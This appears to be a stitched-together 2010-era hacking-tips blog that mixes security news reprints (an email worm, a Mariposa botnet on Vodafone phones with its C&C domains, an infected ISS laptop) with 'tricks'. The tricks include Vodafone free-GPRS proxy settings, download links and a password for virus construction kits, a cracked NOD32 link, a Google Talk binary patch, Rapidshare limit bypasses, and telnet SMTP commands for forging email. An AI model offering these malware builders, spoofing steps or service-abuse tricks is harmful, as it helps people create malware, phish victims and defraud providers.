Vodafone Free GPRS tricks 2010Now You Can Enjoy The Free GPRS With The Vodafone MobileBut You Must Change / Add The Settings Given BelowIn Your MobileThen Switch Off And On It Again Thats AllNow You Are Done ! Please Use The Following Settings
  1. Settings -> Connection -> Access Points.
  2. Select your Acces point to alter, ( or ) Options -> New acess Point.
  3. Then Change the following :
  • Connection Name : VODAFONE GPRS
  • APN : vlive
  • Port : 8080
  • Proxy Number : 196.6.120.12 Or 196.6.120.13
 
 
 

 






virusssssssssss

Email Worm Spreading Like Wildfire – W32.Imsolk.B@mm




A fast-moving email worm that began spreading on Thursday has been able to affect hundreds of thousands of computers worldwide, anti-virus provider Symantec warned.


The email arrives with the subject “Here you have.” An executable screensaver that’s disguised as a PDF document then tries to send the same message to everyone listed in the recipient’s address book. The .scr file is a variation of the W32.Imsolk.A@mm worm Symantec discovered last month.


In addition to spreading through email, it can propagate through mapped drives, autorun and instant messenger. It also has the ability to disable various security programs.


The worm is a throwback to attacks not seen in almost a decade, when the Anna Kournikova and I Love You attacks wreaked havoc on email systems worldwide. The Here You Go worm appears to different in that the malicious payload is downloaded from a page on members.multimania.com, rather than being attached to the email. That could make efforts to eradicate the worm easier.


Then again, McAfee said multiple variants of the worm appear to be spreading, so it’s not yet clear that the malicious screensaver is hosted by a single source.


Source: The Register
More Info: New Round of Email Worm, “Here you have”

Vodafone Distributes Mariposa Botnet:

 

Here is yet another example of a company distributing malware to its userbase. Unfortunately it probably won’t be the last.
Today one of our colleagues received a brand new Vodafone HTC Magic with Google’s Android OS. “Neat” she said. Vodafone distributes this phone to its userbase in some European countries and it seems affordable as you can get it for 0€ or 1€ under certain conditions.
The interesting thing is that when she plugged the phone to her PC via USB her Panda Cloud Antivirus went off, detecting both an autorun.inf and autorun.exe as malicious. A quick look into the phone quickly revealed it was infected and spreading the infection to any and all PCs that the phone would be plugged into.
Vodafone Botnet
Vodafone Botnet
A quick analysis of the malware reveals that it is in fact a Mariposa bot client. This one, unlike the one announced last week which was run by spanish hacker group “DDP Team”, is run by some guy named “tnls” as the botnet-control mechanism shows:
00129953 |. 81F2 736C6E74 |XOR EDX,746E6C73 ; ”tnls”
The Command & Control servers which it connects to via UDP to receive instructions are:
mx5.nadnadzz2.info
mx5.channeltrb123trb.com
mx5.ka3ek2.com
Once infected you can see the malware “phoning home” to receive further instructions, probably to steal all of the user’s credentials and send them to the malware writer.
Interestingly enough, the Mariposa bot is not the only malware I found on the Vodafone HTC Magic phone. There’s also a Confiker and a Lineage password stealing malware. I wonder who’s doing QA at Vodafone and HTC these days.
Source: Panda Research Blog

TeraBIT Virus Maker 2.8 SE:

TeraBIT Virus Maker 2.8 SE
(Backdoor.Win32.VB.bna)

Terabit Virusmaker
by m_reza00
Written in Visual Basic
Released in September 2007
Made in Iran

dropped files:
c:\WINDOWS\system32\csmm.exe
Size: 16,950 bytes

startup:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon “Shell”
Old data: Explorer.exe
New data: explorer.exe C:\WINDOWS\system32\csmm.exe

Tested on Windows XP
September 19, 2007

Download :
http://rapidshare.com/files/96994198/TeraBIT_VM_2_1.8.zip.html

Virus Maker Professional 2008

Virus Maker
Virus Maker Professional 2008
Scanned By Kaspersky Internet Security 325, Nothing Found

Just Use it with all ur Own Risk to produce any Malicious/virus/Trojans/Spyware
All Info inside rar
Download :
http://www.4shared.com/file/43506955/93326338/CreAtive_By_Dark_Man_2009.html
http://www.2shared.com/file/3115492/e3275d24/CreAtive_By_Dark_Man_2009.html
http://rapidshare.com/files/99661790…k_Man_2009.rar
Password : LoloUOwnRisk

ESET NOD32 Antivirus v3.0.672 Business Edition Full:

ESET NOD32 Antivirus System – Integrated, Real-Time Protection against viruses, worms, trojans, spyware, adware, phishing, and hackers. Best detection, fastest performance & smallest footprint.
NOD32 Antivirus System provides well balanced, state-of-the-art protection against threats endangering your PC and enterprise systems running various platforms from Microsoft Windows, through a number of UNIX/Linux, Novell, MS DOS operating systems to Microsoft Exchange Server, Lotus Domino and other mail servers.

Nod32 Full
Changes in version 3.0.672:
• Fixed problem causing instability on Microsoft Windows Vista 64-bit
• Fixed problem in anti spam module causing “Unexpected exception 003 and 007″ error messages

Size:19.6 MB
Download NOD32 Antivirus 3.0.672 Business :
http://rapidshare.com/files/147336388/ESET_NOD32_Antivirus_v3.0.672_Business_Edition_Full.rar


International Space Station Infected By Virus:

  NASA confirmed this week that a computer on the International Space Station is infected with a virus.

The malicious software is called W32.TGammima.AG, and technically it’s a worm.
The interesting point, other than how NASA could let this happen, is the way the worm spreads–on USB flash drives.
Malicious software spread by USB flash drives and other removable media takes advantage of a questionable design decision by Microsoft.
Windows is very happy to run a program automatically when a USB flash drive is inserted into a PC.
How convenient, both for end users and for bad guys.

Source : CNET
http://news.cnet.com/8301-13554_3-10027754-33.html

          







Running Multiple Instances of Google Talk

             

Running Multiple Instances of Google Talk:

 

 Users of Google Talk (GTalk) can also let GTalk go to polygamy, that’s running multiple instances of Google Talk and login to multiple Google accounts on Google Talk. The polygamy trick can be done without any crack, patch or hack, with just a simple command line parameter or switch /nomutex appended to the Google Talk shortcut.


Ability to polygamy running multiple Google Talk is useful if users have multiple Google Talk accounts (or Google or Gmail accounts that used to login to GTalk) or multiple profiles or personalities, and don’t want to log on and off from one account to another account every time when want to switch, or want to log in to all accounts at the same time on the same computer.


You can add the /nomutex switch or parameter to existing Google Talk shortcut, or create a new shortcut with the /nomutex command line parameter.


To edit existing Google Talk shortcut:


1) Right click on the Google Talk shortcut.
2) On the right click contextual menu, click on Properties.
3) Go to Shortcut tab on Google Talk Properties window.
4) On the Target textbox, add in the /nomutex to the end of the line so that it looks like below (or you can simply copy and paste the below syntax and replace the original).


Target: "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex


5) Click on OK.




To create a new shortcut for Google Talk:


1) Right-click on the desktop or anywhere you want to place the GTalk shortcut.
2) Select New on the right click context menu.
3) Then select Shortcut.
4) Copy and paste the following line to the text box when prompted to type the location of the item:


“C:\Program Files\Google\Google Talk\googletalk.exe” /nomutex


5) Click on Next.
6) Give the shortcut a proper name such as Google Talk or Google Talk Multiple or Google Talk Polygamy.
7) Click OK until you are done.


If you have hex editor, you can act like a hacker and modify the bits in Google Talk program so that it will always allow multiple instances of GTalk to be launched whether the /nomutex switch is specified or not.


Launch hex editor and open googletalk.exe, then search for the following patterns in the hex editor:


004536FD . 3BC6 CMP EAX,ESI
004536FF . 75 05 JNZ SHORT googleta.00453706


Modify the string to look like the following:


004536FD . 8BC1 MOV EAX,ECX
004536FF . EB 05 JMP SHORT googleta.00453706




How this Works?
The mutex is short for mutual exclusion object.
A mutex is a program object that allows multiple program threads to share the same resource, but not simultaneously.


So, in the hack above, we used nomutex (no-mutex) to use the same resources simultaneously....!




Rapidshare Hack

-: Rapidshare Hack :-


There are two hacks to beat Rapidshare download limits and waiting time.



1) Rapidshare Hack (For Firefox Users) :-
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.
The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment.
But most of the time, that advantage is available only to people with the programming skills to make the changes they want.

That's where Greasemonkey, a free plug-in for Firefox, comes in -- it simplifies hacking the browser.

Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools.
It changes how Web pages look and act by altering the rendering process.

http://greasemonkey.mozdev.org/

1) Install the Greasemonkey extension>>
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi
2) Restart Firefox
3) Go to http://rapidshare.de/files/1034529/rapidshare.user.js.html
4) Right click on rapidshare.user.js and choose "Install User Script".
5) Run FireFox.
6) From 'File' Menu click on Open File then browse to whereever you saved the 'greasemonkey.xpi' plug-in.
Open it, wait a couple seconds for the install button becomes active.
7) Click on it to install this plug-in then CLOSE FIREFOX.
8) Run FireFox again.
From the File Menu click on Open File then browse to whereever you saved the 'rapidshare.user.js'.
9) Open it.
10) Click the Tools Menu then click on Install User Script then click OK.
11) Close FireFox.

The script will let you enjoy "no wait" and multiple file downloads......!


2) Rapidshare Hack (NIC Tricks and MAC Cloning) :-
Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day.
To get around this, you need to show the rapidshare server a different IP address.
Here are some methods for doing this-

A] Short-Out the JavaScript:
1) Goto the page you want to download
2) Select FREE button
3) In the address bar put this-    javascript:alert(c=0)
4) Click OK
5) Click OK to the pop-up box
6) Enter the captcha
7) Download Your File

B] Request a new IP address from your ISP server:
Here’s how to do it in windows:
1) Click Start
2) Click run
3) In the run box type cmd.exe and click OK
4) When the command prompt opens type the following. ENTER after each new line.
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit
5) Erase your cookies in whatever browser you are using.
6) Try the rapidshare download again.
Frequently you will be assigned a new IP address when this happens.
Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work.
If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

C] Use a proxy with SwitchProxy and Firefox:
1) Download and install Firefox
2) Download and install SwitchProxy
3) Google for free proxies
4) When you hit your download limit, clean your cookies and change your proxy

D] You can use a bookmarklet to stop your wait times:
1) Open IE
2) Right Click On This Link
3) Select Add to Favorites
4) Select Yes to the warning that the bookmark may be unsafe.
5) Name it “RapidShare No Wait”
6) Click on the Links folder (if you want to display it in your IE toolbar)
7) Click OK
8) You may need to close and reopen IE to see it
9) Goto rapidshare and click the bookmarklet when you are forced to wait.....

















EMail Forging



-: EMail Forging :-


2) EMail Forging :-
Email forging allows an attacker to disguise the source of an email and send it to the victim. Most attackers use this technique to fool the victim into believing that somebody else has send the particular email.
The SMTP protocol makes it extremely easy for an attacker to send forged emails to a remote user.
Typically an attacker carries out email forging by following steps:

1)
Start Command Prompt and type the following command-
c:/>telnet smtp.mailserver.com 25
or c:/>telnet mail.domain.com 25
example:- c:/>telnet smtp.gmail.com 25
The above command opens a telnet connection to the specified remote mail server on port-25. Where port-25 is the default SMTP port on which outgoing mail daemon runs.

2)
Once you are connected to the mail daemon of remote mail server, you would be greeted with a message similar to following:-


If you are not familiar with the smtp mail daemon commands then enter the keyword 'help' at daemon which may reveal all the supporting commands as shown below.



3)
The correct sequence of commands to be executed is:-
a) helo mailserver1.com
b) mail from:abc@mailserver1.com
c) rcpt to:xyz@mailserver2.com
d) data
e) .(dot command represents end of mail body)
This all as shown in figure below:



EMail forging by this technique does not possible, if mail relying is disabled by it's service provider..